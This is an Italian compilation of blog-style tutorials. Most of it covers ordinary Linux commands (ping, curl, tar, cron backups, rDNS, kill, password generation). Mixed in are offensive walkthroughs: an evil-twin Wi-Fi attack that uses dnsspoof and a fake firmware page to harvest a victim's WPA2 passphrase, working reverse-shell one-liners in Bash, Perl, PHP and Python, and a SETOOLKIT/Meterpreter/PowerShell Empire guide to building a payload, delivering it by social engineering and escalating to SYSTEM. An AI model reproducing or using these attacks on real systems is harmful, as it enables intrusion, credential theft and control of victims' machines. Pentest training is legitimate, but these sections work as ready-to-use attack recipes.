La vittima può ora accedere a Internet. Puoi fare 2 cose in questa fase:

Per reindirizzare il client alla tua pagina falsa, qui devi eseguire l'utilità dnsspoof che è già preinstallata in ogni macchina Kali Linux sull'interfaccia at0 creata dal comando airbase-ng:

Comando: dnsspoof -i at0

Lo spoofing DNS, noto anche come avvelenamento della cache DNS, è una forma di hacking della sicurezza informatica in cui i dati corrotti del Domain Name System vengono introdotti nella cache del resolver DNS, facendo sì che il server dei nomi restituisca un record di risultato errato, ad esempio un indirizzo IP. In questo modo il traffico viene deviato al computer dell'aggressore (oa qualsiasi altro computer).

Passaggio 12: ora torna alla macchina della vittima e accedi a google.com e vedrai che la pagina Web di google.com mostra la tua pagina Web falsa che hai ospitato nella tua macchina Kali Linux che dice alla vittima di inserire la password per scaricare e aggiornare il firmware.

Qui stiamo inserendo "       @123 " come password che noi (vittima) pensiamo sia la password del suo AP.

Non appena la vittima preme [INVIO] puoi vedere la schermata sottostante con una pagina che si sta caricando.

Ora torniamo al lato dell'attaccante. È necessario controllare nel database MySQL le password memorizzate.

Basta digitare il comando utilizzato in precedenza nella finestra del terminale MySQL e vedere se è presente o meno un nuovo aggiornamento.

Yippie! hai raccolto con successo la passphrase WPA2, direttamente dalla vittima, in testo normale.

I 9 migliori esempi di comandi ping in Linux

   

Per verificare se l'host è vivo o meno, utilizziamo sempre il comando PING. Il comando " ping " è integrato sia nelle macchine Windows che UNIX come un modo universale per testare i tempi di risposta e le prestazioni della rete.

Il nome è in realtà basato sulla somiglianza con i sonar ping, anche se molte persone hanno creato un acronimo post hoc " Packet Internet Groper ".

Esempio: l'attacco ping?of?death ha utilizzato la frammentazione IP per bloccare i sistemi. Era così chiamato perché al programma ping integrato in Windows si poteva facilmente dire di frammentare i pacchetti in questo modo.

Leggi anche: Identifica il nome del sistema operativo con il comando PING

Punto chiave: anche se il programma ping è semplice, può essere abusato. Alcune versioni possono essere comandate per inviare i pacchetti il ​​più velocemente possibile, cosa che spesso viene eseguita per inondare le reti. La maggior parte delle versioni consente di impostare la dimensione del pacchetto su una dimensione elevata, forzando la frammentazione. Se utilizzato con il flusso sopra, può sovraccaricare le macchine poiché il riassemblaggio della frammentazione è molto lento.

Esempio 1: per eseguire semplicemente il ping di qualsiasi macchina o IP, il comando è:

Comando: ping      

Qui puoi vedere che abbiamo eseguito il ping del nostro dominio       con 64 byte di dati.

Questo processo è infinito, quindi è necessario premere manualmente CTRL + C per terminare il risultato.

Esempio 2 – Per verificare la versione dell'utility PING, il comando è:

Comando: ping -V

Esempio 3: puoi anche modificare l'ora in cui esegue il ping del dominio di destinazione con l'attributo -c:

Comando: ping -c 3      

Qui, il comando precedente ora eseguirà il ping per 3 volte.

Esempio 4 -  Se si desidera modificare la dimensione del pacchetto, è possibile farlo anche con l'aiuto dell'attributo -s come mostrato nella schermata seguente:

Comando: ping -s 200      

Questo comando eseguirà il ping del nostro dominio con 208 byte. È sufficiente dire che se si definiscono X byte, il comando "ping" eseguirà il ping con (X + 8) byte, ovvero (200+8 = 208 byte).

Esempio 5 -  Anche se si desidera eseguire il ping per un certo periodo, è possibile utilizzare l'attributo -w come mostrato di seguito:

Comando: ping -w 8      

Per impostazione predefinita, il comando "ping" esegue il ping del dominio di destinazione ogni 1 secondo.

Esempio 6 -  E se vuoi inserire una sorta di intervallo di tempo, puoi aggiungere farlo con l'aiuto dell'attributo -i:

Comando: ping -i 3      

Esempio 7 -  Se vuoi semplicemente aggiungere del rumore dopo il ping riuscito, allora il comando è:

Comando: ping -a      

Esempio 8 –  Nella maggior parte dei casi, di solito non ci interessano i risultati continui del ping. Il risultato finale è la parte più importante di tutte. Se si desidera eseguire il comando "ping" in modalità silenziosa, eseguire il comando seguente:

Comando: ping -q -c 10      

I 10 migliori comandi cURL che devi conoscere

   

cURL è l'utilità magica che consente agli sviluppatori di scaricare il contenuto di un URL, esplorare le intestazioni delle risposte, ottenere quotazioni di borsa, confermare che la nostra codifica GZip funziona e molto altro.

Un altro grande utilizzo di cURL per la riga di comando è il POSTing dei dati del modulo su un server, specialmente durante il test dell'elaborazione del modulo da moderata a avanzata. E proprio come altri comandi cURL, POSTing dei dati del modulo è incredibilmente semplice.

Per utilizzare curl avrai bisogno di una certa comprensione del protocollo HTTP. Se non hai familiarità con HTTP HEADERS, dai un'occhiata a All About HTTP Headers: una guida dettagliata .

Esempio 1: se si desidera semplicemente effettuare una richiesta GET con curl, il comando è:

Comando: curl https://www.     /

Puoi anche inviare una richiesta POST con curl come mostrato di seguito:

Comando:  curl -X POST -F 'username=      ' -F 'password=      ' http://example.com/post.php

Esempio 2: se desideri semplicemente salvare l'intera risposta in un file HTML, il comando è:

Comando: curl https://www.      > nomefile.html

Esempio 3 - Inoltre, se si desidera visualizzare l'intero processo di invio della richiesta e recupero della risposta in modalità dettagliata, è possibile utilizzare l'opzione -v come mostrato di seguito:

Comando: curl -v https://www.     /

L'opzione cURL verbose include sia intestazioni di richiesta che intestazioni di risposta. Le righe che iniziano con '>' sono le intestazioni della richiesta o i dati dell'intestazione inviati da curl.

Nota: questa opzione è sempre utile per il debug e vedere cosa sta succedendo "sotto il cofano".

Con l'opzione -V (V maiuscola), puoi controllare le informazioni di base su curl come la versione libcurl e tutto il resto.

Esempio 4: puoi anche impostare un tasso limite durante l'invio della richiesta al target.

Comando: curl –limit-rate 2000B https://www.     /

La velocità data è misurata in byte/secondo , a meno che non venga aggiunto un suffisso.

La velocità limite non è altro che una velocità di trasferimento massima che puoi utilizzare sia per il caricamento che per il download. Questa funzione è utile se hai una pipe limitata e desideri che il tuo trasferimento non utilizzi l'intera larghezza di banda.

L'aggiunta di 'k' o 'K' conterà il numero come kilobyte, 'm' o 'M' lo rende megabyte, mentre 'g' o 'G' lo rende gigabyte. Esempi: 200K, 3m e 1G.

Esempio 5: cURL supporta anche i server proxy HTTP e SOCKS, con autenticazione facoltativa. Non ha un supporto speciale per i server proxy FTP poiché non ci sono standard per quelli, ma può comunque essere fatto funzionare con molti di essi. Puoi anche utilizzare proxy HTTP e SOCKS per trasferire file da e verso i server FTP.

Puoi persino inviare la richiesta direttamente a qualche intercettore (Burp Suite Tool) tramite l'opzione –proxy.

Comando: curl –proxy 127.0.0.1:1337      

Se il proxy viene specificato con –proxy1.0 invece di –proxy o -x, curl utilizzerà HTTP/1.0 invece di HTTP/1.1 per qualsiasi tentativo di CONNECT.

Esempio 6:  puoi specificare un numero qualsiasi di intestazioni extra mentre effettui una richiesta con curl.

Comando: curl –header 'Content-Type: application/json' https://www.     /

Tieni presente che se dovessi aggiungere un'intestazione personalizzata con lo stesso nome di una di quelle interne che curl userebbe, verrà utilizzata l'intestazione impostata esternamente al posto di quella interna.

Ciò ti consente di creare cose ancora più complicate di quelle che normalmente farebbero i ricci. Non dovresti sostituire le intestazioni impostate internamente senza sapere perfettamente cosa stai facendo.

Esempio 7: puoi persino aggiungere la tua intestazione personalizzata alla risposta, ma per questo devi utilizzare l'opzione -v mentre effettui una richiesta con cURL.

Comando: curl –header 'X-Header:       ' -v https://www.     /

E nel caso, se vuoi semplicemente scaricare tutte le intestazioni di un target specifico, puoi usare il comando seguente:

Comando: curl –dump-header filename.txt      

Esempio 8 –  Protocolli diversi forniscono modi diversi per ottenere informazioni dettagliate su file/documenti specifici. Per fare in modo che curl mostri informazioni dettagliate su un singolo file, dovresti usare l'opzione -I/–head.

Comando: curl –head https://www.     /

Esempio 9: per impostazione predefinita, ogni connessione SSL creata da curl viene verificata come sicura. L'opzione –insecure consente a curl di procedere e operare in modo non sicuro.

Comando: curl –insecure https://www.     /

Esempio 10: con l'aiuto del comando seguente, SSL indica a curl di utilizzare almeno la versione 1.x di TLS durante la negoziazione con un server TLS remoto. Ciò significa TLS versione 1.0 o successiva.

Comando: curl –tlsv1 https://www.     /

Ottenere Reverse Shell con PHP, Python, Perl e Bash

   

Come parte di un controllo di sicurezza, valutazione e " pentesting ", è possibile che venga scoperta una vulnerabilità di esecuzione del comando (RCE - Remote Command Execution). L'ascoltatore deve rapidamente disporre di una shell interattiva completa a seconda della complessità/difficoltà di sfruttare l'RCE scoperto.

L'ottenimento di una shell inversa dipende fortemente dalla distribuzione/sistema operativo distribuito sulla macchina di destinazione. Per tutti gli esempi che seguono, questi sono Windows/Linux compatibili sostituendo " /bin/sh -i " con " cmd.exe " e viceversa.

La maggior parte dei seguenti comandi sono più o meno difficili da leggere. L'obiettivo è disporre di comandi univoci da eseguire sulla macchina da controllare per ottenere la shell inversa, con reindirizzamento di input standard, output standard e output di errore. Ogni ordine è classificato per tecnologia/lingua.

Per ognuno di essi l'ascoltatore deve porre la propria macchina in ascolto su una specifica porta. Questo passaggio viene spesso eseguito dall'utilità dei socket chiamata “ nectat “, disponibile sotto Windows/Linux.

Comando da eseguire sul lato listener su computer Windows:

Comando: nc -lvp 1337

Per dimostrarlo, abbiamo due sistemi operativi (Kali Linux e Windows 10) e nella macchina Windows, l'utilità netcat (nc) è già installata nella directory c:\nc> .

Con Bash -

Comando: bash -i >& /dev/tcp/192.168.1.2/1337 0>&1

Con Perl -

Comando:  perl -e 'use Socket;$i=”192.168.1.2″;$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p, inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”) ;};'

Con PHP -

Comando:  php -r '$sock=fsockopen(“192.168.1.2”,1337);exec(“/bin/sh -i <&3 >&3 2>&3”);'

Con Python -

Comando:  python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.1.2”,1337));os.dup2(s.fileno (),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);'

Riferimenti -

20 comandi Tar utili per l'estrazione e la compressione

   

Il comando Linux tar sta per tap archive, non è un file compresso e comunemente chiamato come raccolta (che contiene il contenuto di molti file) di un singolo file.

Tar è il comando più comunemente usato in Linux per creare un file di archivio. Salva più file, cartelle e altri formati di file (zip, gzip, bzip2 e tar) in un unico file di archivio. Molti di noi usano molto frequentemente tre operazioni crea, elenca ed estrai e due file di opzioni e prolisso con tar per gestire i backup e il ripristino.

Inoltre possiamo usare i comandi gzip e bzip2 per comprimere ulteriormente l'archivio tar. Principalmente il comando tar utilizzato per eseguire il backup (completo e incrementale) dal server dall'amministratore del server, altre famose applicazioni di backup utilizzano il comando tar per il backup.

Tutti i file e le cartelle possono essere ripristinati dal file di archivio ogni volta che lo desideri, ogni amministratore del server deve conoscere il comando tar e il suo utilizzo per una migliore soluzione di backup.

Per impostazione predefinita, il comando tar è incluso nella maggior parte della distribuzione, quindi possiamo facilmente installare dal repository ufficiale della distribuzione.

Esempio 1 – Per creare un nuovo archivio della cartella denominata        che contiene 3 file denominati document.docx , file.txt e song.mp3 , il comando è:

Comando: tar cf file1.tar       /

Dove c si riferisce alla creazione di un nuovo archivio e f è il file di archivio specificato.

Esempio 2 - Allo stesso modo puoi anche creare un archivio di un insieme di file nella directory di lavoro corrente, ad esempio        , il comando è:

Comando: tar cf file2.tar document.docx file.txt song.mp3

Esempio 3 - Per estrarre l'archivio nella directory di lavoro corrente, il comando è:

Comando: tar xf file1.tar

Dove x si riferisce all'estrazione.

Esempio 4 - E se vuoi estrarre il contenuto in una directory specifica, puoi usare il seguente comando:

Comando: tar xf file1.tar -C Download/

Esempio 5 - Se si desidera estrarre il tipo particolare (estensione) di file, è possibile utilizzare il comando seguente con l'opzione –jolly.

Comando: tar -xf file.tar –wildcards “*.docx”

Il comando precedente estrarrà solo i file con estensione .docx dal file tar.

Esempio 6 –  Per impostazione predefinita, tar crea sempre file con estensione .tar ma può anche creare file .tar.gz o .tgz che viene utilizzato per la compressione.

Per creare un archivio .tar.gz, il comando è:

Comando: tar czf compressfile.tar.gz       /

Dove z flag viene utilizzato per la compressione gzip.

Esempio 7 – Allo stesso modo puoi anche creare un file .tgz digitando:

Comando: tar czf compress.tgz       /

Esempio 8 – Se vuoi vedere lo stato di avanzamento durante la creazione dell'archivio il flag è v:

Comando: tar czvf nuovofile.tar.gz       /

Esempio 9 – Per creare un archivio gzip da un elenco di file, il comando è:

Comando: tar czf compressfile.tar.gz document.docx file.txt song.mp3

Esempio 10 – Per estrarre l'archivio gzip nella directory corrente, il comando è:

Comando: tar xzf compressfile.tar.gz

Esempio 11 - E se vuoi estrarre in una directory specificata, puoi usare il flag -C come mostrato di seguito:

Comando: tar xzf compressfile.tar.gz -C /root/Download/

Esempio 12 – Per creare un archivio bzip di estensione (.tar.bz2), il comando è:

Comando: tar cjf nuovofile.tar.bz2       /

Esempio 13 – Analogamente per la creazione del file di archivio bzip dell'estensione (.tbz), è possibile utilizzare il seguente comando:

Comando: tar cjf file.tbz       /

Esempio 14 – E per creare un archivio di estensione .tar.bz2 da un elenco di file, il comando è:

Comando: tar cjf newfile.tar .bz2 document.docx file.txt song.mp3

Esempio 15 – Per estrarre l'archivio bzip, puoi usare il seguente comando con x flag:

Comando: tar xjf nuovofile.tar.bz2

Esempio 16 – Con l'opzione -C, puoi estrarre il contenuto del file di archivio bzip in qualsiasi posizione.

Comando: tar xjf nuovofile.tar.bz2 -C /root/Download/

Esempio 17 – Puoi anche creare un archivio di più directory e/o file contemporaneamente.

Comando: tar czvf newfile.tar.gz Download/ Musica/       /file.txt

Esempio 18 – Per elencare il contenuto del file di archivio senza estrazione, il comando è:

Comando: tar tf file.tgz

Esempio 19 - E se vuoi vedere l'output dettagliato, puoi usare il flag v come mostrato di seguito:

Comando: tar tvf file.tgz

Esempio 20 - E se vuoi aggiungere un file specifico a un archivio esistente, puoi usare il seguente comando:

Comando: tar rf nuovofile.tar Hub/nuovofile.txt

Script di backup semplice con Cronjob

   

Se stai utilizzando in qualche modo un server VPS gestito o non gestito, questo articolo ti aiuterà sicuramente a creare un backup del tuo server web in base a una pianificazione con l'aiuto di cronjob.

In questo articolo, ti mostreremo come utilizzare tar per i file di backup e le directory in Linux insieme alla pianificazione automatica con cronjob.

Nel nostro caso, il nostro server Apache è in esecuzione sulla porta 80 e /var/www/html è la cartella principale predefinita del server Web in cui abbiamo installato un CMS nella directory Drupal .

Il primo passaggio consiste nel creare una directory di backup in qualsiasi posizione in cui desideri posizionare tutti i backup in modo organizzato.

Comando: mkdir /root/backup

Per creare un file di archivio tar, il semplice comando è:

Comando: tar -zcvpf /root/backup/backup-fresh.tar /var/www/html/

Che creerà un file di archivio dell'intera directory /var/www/html/ e lo salverà nella cartella /root/backup/ .

Dove,

Se si desidera eseguire il backup su base giornaliera, è necessario eseguire manualmente il comando precedente ogni giorno, il che non è una buona idea.

Quindi, per ovviare a questo, abbiamo creato un semplice script bash per eseguire il backup in un formato organizzato.

Codice: ( Link Pastebin )

#!/bin/bash
DATE=$(data +%d-%m-%Y)
BACKUP_DIR="/root/backup"

# prendi il backup di ogni sito web con un nome separato, usa il formato seguente #
tar -zcvpf $BACKUP_DIR/      -$DATE.tar.gz /var/www/html

# Elimina i file più vecchi di 10 giorni #
find $BACKUP_DIR/* -mtime +10 -exec rm {} \;

Nello script sopra, abbiamo definito una variabile BACKUP_DIR che contiene la posizione della directory di backup e un comando di rimozione automatica che eliminerà tutti i vecchi file di backup che sono più vecchi di 10 giorni, in modo che il tuo spazio HD non venga riempito rapidamente.

Ora concedi le autorizzazioni eseguibili allo script precedente con l'aiuto del comando chmod come mostrato di seguito:

Comando: chmod +x backup-      .sh

Ed esegui lo script digitando " ./backup-      .sh " come mostrato di seguito:

Qui puoi vedere che è stato creato un file di archivio tar.gz con formato (nome-data.tar.gz) ma questo processo non è ancora automatizzato.

Per renderlo automatizzato, devi prima spostare questo script nella directory /bin e concedere l'autorizzazione 755 al file bash come mostrato di seguito:

È necessario utilizzare il comando crontab per l'automazione completa. Ogni utente può avere il proprio file crontab e, sebbene questi siano file in /var/spool/cron/crontabs, non devono essere modificati direttamente.

La sintassi crontab è:

1 2 3 4 5 /percorso/al/comando arg1 arg2

O

1 2 3 4 5 /root/backup.sh

Dove,

1: Minuti (0-59)
2: Ore (0-23)
3: Giorno (0-31)
4: Mese (0-12 [12 == Dicembre])
5: Giorno della settimana (0-7 [7 o 0 == domenica])
/path/to/command – Nome dello script o del comando da programmare

Devi usare il comando crontab per modificare o impostare i tuoi lavori cron.

Comando: crontab -e

Scegli qualsiasi editor per modificare il file di configurazione di crontab (scegliamo il n. 2, ovvero /bin/nano)

Se desideri che uno script denominato /bin/backup-      .sh venga eseguito ogni giorno alle 13:00, la tua voce crontab avrà il seguente aspetto.

0 13 * * * /bin/backup-      .sh

Salva e chiudi il file.

Come controllare rDNS (DNS inverso) con gli strumenti della riga di comando

   

rDNS o Reverse DNS è esattamente l'opposto di fDNS o Forward DNS. rDNS mappa semplicemente l'indirizzo con il nome host.

In genere, il DNS viene utilizzato per determinare quale indirizzo IP è associato a un determinato nome host; quindi per invertire la risoluzione di un indirizzo IP noto è cercare quale sia il nome host associato per esso. Una ricerca inversa viene spesso definita semplicemente risoluzione inversa o, più specificamente, ricerche DNS inverse.

Perché utilizzare rDNS?

Ci sono tanti motivi per usare rDNS come:

Controlla rDNS usando il comando DIG –

Puoi facilmente trovare rDNS di qualsiasi IP con l'aiuto del comando DIG come mostrato di seguito:

Comando: dig -x <IP> +noall +risposta

Controlla rDNS usando il comando HOST –

Lo stesso può essere fatto anche con l'aiuto del comando host.

Comando: host <IP>

Controlla rDNS usando il comando NSLOOKUP –

Nslookup, che è uno strumento da riga di comando per interrogare il DNS per ottenere la mappatura del nome di dominio o dell'indirizzo IP, ti aiuta anche a trovare l'rDNS di qualsiasi indirizzo IP.

Comando: nslookup <IP>

Di seguito è riportato l'elenco dei siti Web attraverso i quali è possibile controllare anche rDNS online:

Modifica forzata della password al prossimo accesso (LINUX)

   

La password è una chiave o una parola segreta o una stringa di caratteri che viene utilizzata per proteggere le tue risorse o informazioni da altri nel mondo informatico. Viene utilizzato per l'autenticazione, per dimostrare la nostra identità o per ottenere l'accesso alle nostre risorse. Dovrebbe essere tenuto segreto per impedire l'accesso da parte di utenti non autorizzati.

Sono disponibili così tante tecniche attraverso le quali i malintenzionati, i cosiddetti hacker o cracker, possono decifrare la tua password tramite:

In questo articolo, dimostreremo come modificare forzatamente la password al successivo tentativo di accesso da parte dell'utente nel sistema operativo Linux.

Per fare questo, ci sono fondamentalmente due modi:

Con il comando Passwd –

Prima di farlo, creiamo un nuovo account utente con l'aiuto del comando useradd di nome " tom " la cui password corrente è anche tom.

Comando: useradd -c “Sr. Editor di      ” tom && passwd tom

Quindi esegui il seguente comando che farà scadere la password dell'utente tom in modo che l' utente tom dovrà cambiare forzatamente la sua password durante il prossimo tentativo di accesso.

Comando: passwd -e tom

Su un altro terminale, stiamo provando ad accedere come utente tom e puoi vedere che chiede di impostare immediatamente la nuova password.

Con cambio comando –

Lo stesso può essere fatto anche con il comando chage che sta per Change Age. Prima di farlo, creiamo un altro utente di nome  alex la cui password è  alex come mostrato di seguito:

Comando: useradd -c “Jr. Editor di      ” alex && passwd alex

Quindi eseguire il seguente comando in cui è necessario impostare la data dell'utente dell'ultimo valore della password su 0 come mostrato di seguito:

Comando: chage -d 0 alex

E prova ad accedere con l'utente alex nel nuovo terminale che ti chiede di impostare immediatamente la nuova password come mostrato di seguito:

Cose da ricordare durante la creazione di password complesse

Linee guida per mantenere una buona password

Escalation dei privilegi con PowerShell Empire e SETOOLKIT [Kali Linux]

   

In un  tutorial precedente , abbiamo utilizzato  PowerShell Empire v2.3.0  per il post sfruttamento del sistema operativo Windows. Lo stesso può essere fatto anche con uno dei toolkit più popolari chiamato Social Engineering Toolkit (SETOOLKIT) che è già preinstallato in ogni versione di Kali Linux.

Per sfruttare, è necessario che si verifichino i seguenti passaggi:

Prima di iniziare, assicurati di aver installato l'ultima versione di SETOOLKIT nella tua macchina Kali Linux e che il comando per avviare SET sia " setoolkit ".

Quando premi Invio, apparirà una schermata di benvenuto con il seguente elenco di opzioni tra cui scegliere:

Dal menu sopra, andremo con gli attacchi di ingegneria sociale , ovvero l'opzione 1

Ora, premendo 1, sotto Attacchi di ingegneria sociale verranno visualizzate nuove opzioni che sono:

Quindi qui, andremo con l'opzione 4 , ovvero Crea un payload e un listener in cui genereremo un payload dannoso che lo invieremo al bersaglio con qualsiasi mezzo (ingegneria sociale, tramite Facebook, tramite Twitter, tramite e-mail ecc.) .

La schermata successiva elencherà il numero di payload in base alla scelta dell'exploit.

Qui il miglior payload è Windows Reverse_TCP Meterpreter,  ovvero l'opzione 2 , che apre istantaneamente una shell meterpreter contro il target ogni volta che esegue il tuo file.

Inoltre, ogni payload ha il proprio utilizzo e le proprie opzioni, e al di fuori di questo, il payload TCP inverso è uno dei migliori payload di sempre.

Quindi, inserisci il tuo indirizzo IP localhost e il numero di PORTA (443) come mostrato di seguito:

Aspetta solo 1-3 minuti, questo strumento genererà automaticamente un payload compatibile e avvierà esso stesso il suo servizio di ascolto come mostrato di seguito:

E alla fine, verrà avviato un gestore TCP inverso rispetto alla destinazione.

Nello screenshot sottostante, sembra che sia stato creato un nuovo file payload.exe che è necessario installare ulteriormente lo stesso su altre macchine o macchine virtuali.

Ora come puoi vedere, hai immediatamente una sessione meterpreter e digitando il comando " sysinfo " ti vengono mostrate tutte le informazioni sul tuo sistema operativo di destinazione.

Ora esegui il comando " ps " per visualizzare tutti i processi in esecuzione e annota il valore PID del processo explorer.exe.

Qui migreremo Meterpreter al processo explorer.exe in modo da non doverci preoccupare che il processo sfruttato venga ripristinato e chiuda la nostra sessione.

Per migrarlo, digita semplicemente il seguente comando:

Comando: migrare <PID>

Successivamente, digita  il comando getuid  che visualizzerà l'utente che il server Meterpreter è in esecuzione come sull'host.

Digita anche il comando " shell " per accedere alla modalità Shell dei comandi di Windows in cui puoi eseguire tutti i comandi CMD come dir, net user ecc.

Successivamente, se si desidera visualizzare tutte le informazioni dell'utente corrente, digitare " net user <Nome utente> " dove è possibile annotare la sezione Appartenenze a gruppi locali (che è Amministratore) come mostrato di seguito:

Spesso, specialmente con gli exploit lato client, scoprirai che la tua sessione ha solo diritti utente limitati. Ciò può limitare notevolmente le azioni che è possibile eseguire sul sistema remoto come il dump delle password, la manipolazione del registro, l'installazione di backdoor, ecc.

Fortunatamente, Metasploit ha uno script Meterpreter, "getsystem" , che utilizzerà una serie di tecniche diverse per tentare di ottenere privilegi di livello SYSTEM sul sistema remoto.

Basta uscire dalla shell e digitare il comando " use priv " seguito dal comando " getsystem ".

Lasceremo che Metasploit provi a fare il lavoro pesante per noi eseguendo " getsystem " senza alcuna opzione. Lo script tenterà ogni metodo a sua disposizione, fermandosi quando ha successo.

In un batter d'occhio, la tua sessione otterrà i privilegi di SISTEMA, ma in caso contrario dovrai utilizzare Empire Powershell Framework per l'escalation dei privilegi come spiegato in questo articolo .

Torna alla directory principale di  Empire  e dai i permessi eseguibili a Empire digitando " chmod +x empire " e quindi esegui  ./empire .

Sopra lo schermo c'è la schermata di benvenuto di Empire Project che mostra chiaramente che sono presenti 285 moduli che includono ascoltatori, agenti, mimikatz ecc.

Per vedere i moduli disponibili, digitare  usemodule  [tab] . Per cercare i nomi/descrizioni dei moduli, utilizzare  searchmodule privesc  e verranno restituiti i nomi/descrizioni dei moduli corrispondenti.

La prima cosa che devi fare è configurare un ascoltatore locale. Il  comando listener  ti porterà al menu di gestione del listener.

Il  comando uselistener  ti permetterà di selezionare il tipo di listener. Premendo TAB dopo questo comando verranno visualizzati tutti i tipi di listener disponibili. Quindi, in questo caso, useremo il modulo http listener che puoi usare digitando " uselistener http " e poi digita " execute " per eseguire.

Per visualizzare tutti gli ascoltatori attivi, il comando è " ascoltatori " come mostrato nello screenshot sopra.

Successivamente è necessario generare uno script PowerShell con l'aiuto di Launcher digitando " Launcher PowerShell http "

Il comando sopra genererà uno script PowerShell che devi eseguire sul tuo sistema di destinazione remoto con l'aiuto di meterpreter come mostrato nell'articolo precedente .

 Come usare i comandi kill, pkill e killall per terminare qualsiasi processo Linux

   

UNIX tratta ogni oggetto nel sistema operativo come un file. Possiamo trovare i file associati a ogni azione eseguita e possiamo utilizzarli per diverse manipolazioni relative al sistema o al processo.

Un processo, noto anche come attività, è la forma in esecuzione di un programma. I programmi vengono archiviati su disco e i processi vengono eseguiti in memoria. I processi hanno una relazione padre/figlio. Un processo può generare uno o più figli. Più processi possono essere eseguiti in parallelo.

Se vuoi vedere il PID di qualsiasi processo in esecuzione, abbiamo 4 modi migliori attraverso i quali puoi facilmente ottenere il PID di tutti i processi in esecuzione.

Con il comando pidof , devi semplicemente menzionare il nome del processo che elenca tutti i PID associati a quel processo

Comando: pidof apache2

Con il comando pgrep , la sintassi è la stessa pidof ma visualizzerà tutti i PID in modalità verticale.

Comando: pgrep apache2

Con il comando pstree , emette l'elenco dei processi organizzato in uno schema ad albero che mostra le relazioni padre/figlio tra i processi.

Quindi, ad esempio, se vuoi terminare il servizio Apache, annota semplicemente l'ID del processo padre del servizio Apache (5640) e uccidi direttamente con il comando kill, killall o pkill.

Comando: pstree -p | grep "apache2"

E, ultimo ma non meno importante, lo stesso può essere fatto anche con l'aiuto del comando ps come mostrato di seguito:

Comando: ps aux | grep "apache2"

Comando Uccidi –

Questo comando invia semplicemente un segnale per terminare uno o più ID di processo. Devi essere il proprietario del processo o essere un utente con privilegi. Se non viene specificato alcun segnale, viene inviato TERM.

Ad esempio, se vuoi terminare il processo di Apache, devi menzionare il PID del servizio Apache che abbiamo già scoperto dal primo comando.

Comando: kill <PID>

Inoltre, puoi anche controllare lo stato del servizio Apache se il suo servizio è stato interrotto o meno digitando " service apache2 status " o " pstree -p | grep apache2 "(Se non mostra alcun output, significa che il servizio non è in esecuzione)

Comando Pkill –

pkill è l'acronimo di process kill è un'utilità della riga di comando che consente agli utenti di terminare o terminare il processo in Linux tramite PID o nome del processo. Prendi nota, pkill ucciderà tutti i processi corrispondenti al nome del processo. Consente modelli di espressioni regolari estesi e altri criteri di corrispondenza.

Ad esempio, se vuoi terminare tutti i processi Apache, il comando è:

Comando: pkill -e apache

Dove -e sta per modalità eco.

E per verificare, eseguire nuovamente il comando pstree ancora una volta per verificare se il processo è terminato o meno.

Comando Killall –

L'unico vantaggio nell'usare questo comando killall è che puoi terminare qualsiasi processo solo con il nome del comando. Se più di un processo sta
eseguendo il comando specificato, li ucciderà tutti.

Ad esempio, se vuoi terminare il servizio Apache, il comando è:

Comando: killall -v apache2

Dove -v sta per modalità dettagliata.

Genera password casuale in Linux - riga di comando

   

Esistono molti modi per rendere sicura la tua password, ma la maggior parte delle persone semplicemente non si preoccupa. È molto più semplice impostare una password facile da ricordare, ma gli hacker si affidano a questa per accedere a siti non sicuri.

Prova almeno a renderlo difficile da indovinare creando otto o più caratteri e inserisci numeri e simboli e lettere maiuscole e minuscole. Come il nome utente, è anche importante non utilizzare alcuna informazione personale nella tua password come nome, e-mail, data di nascita, numero di telefono, ecc.

Lettura consigliata: I 6 principali strumenti di Password Manager – Aggiornamento        

Peggio ancora, stai lontano dalle password più basilari che ti garantisco che sono le prime che gli hacker provano: password , 12345678 , abcd1234 , qwerty , letmein , itsasecret , iloveyou , ecc.

Che tu ci creda o no, una password come " onetwokafourfourtwokaone " o " bomdiggydiggybombom " è MOLTO più sicura di qualcosa
come " Passw0r3d& ".

Genera password casuale con Openssl –

OpenSSL è una libreria software per applicazioni che proteggono le comunicazioni su reti di computer da intercettazioni o necessità di identificare la parte all'altro capo. È ampiamente utilizzato nei server Web Internet e serve la maggior parte di tutti i siti Web.

Con openssl puoi persino generare una password casuale codificata in base64 digitando il seguente comando nel tuo terminale:

Comando: openssl rand -base64 14

Che genererà una password casuale di 14 cifre.

Genera password casuale con urandom –

Nei sistemi operativi simili a Unix, /dev/random , /dev/urandom e /dev/arandom sono file speciali che fungono da generatori di numeri pseudocasuali.

Consentono l'accesso al rumore ambientale raccolto dai driver dei dispositivi e da altre fonti.

Per generare una password casuale con urandom, digita il seguente comando nel tuo terminale:

Comando: < /dev/urandom tr -dc A-Za-z0-9 | testa -c14; eco

Dove il comando tr eliminerà tutti i caratteri indesiderati dall'output e visualizzerà solo i primi 14 caratteri che fungono da password casuale.

Genera password casuale con pwgen –

PWGen è un generatore di password professionale in grado di generare grandi quantità di password crittograficamente sicure, password classiche, password pronunciabili, password basate su pattern e passphrase composte da parole da elenchi di parole.

Utilizza una tecnica di " pool casuale " basata su crittografia avanzata per generare dati casuali da input utente deterministici (premute tasti, gestione del mouse) e parametri di sistema volatili.

Per fare ciò, digita

Comando: pwgen 14 1

Dove 1 sta per non visualizzare l'output in colonne.

Genera password casuale con gpg –

GPG è un programma software di crittografia ibrida perché utilizza una combinazione di crittografia a chiave simmetrica convenzionale per la velocità e crittografia a chiave pubblica per facilitare lo scambio sicuro di chiavi, in genere utilizzando la chiave pubblica del destinatario per crittografare una chiave di sessione che viene utilizzata solo una volta.

Questa modalità di funzionamento fa parte dello standard OpenPGP e fa parte di PGP dalla sua prima versione.

Per generare una password casuale con gpg, il comando è:

Comando: gpg –gen-random –armor 1 14

Comodi comandi MySQL – Cheatsheet        

   

La progettazione del database è un passaggio chiave, in gran parte perché le modifiche apportate al database in un secondo momento hanno implicazioni molto più ampie e potenziali complicazioni rispetto alla modifica di qualsiasi altro aspetto del sito. L'aggiunta di funzionalità attraverso le modifiche al database è una sfida impegnativa e la correzione dei difetti del database è straziante, quindi fai tutto il possibile per ottenere la corretta progettazione del database la prima volta.

Anche se il tuo sito Web non memorizzerà le informazioni più pericolose sui clienti, ovvero i dati della loro carta di credito, il database deve essere protetto a fondo, poiché la violazione di qualsiasi informazione sui clienti rappresenta un'enorme responsabilità aziendale.

Lettura consigliata:

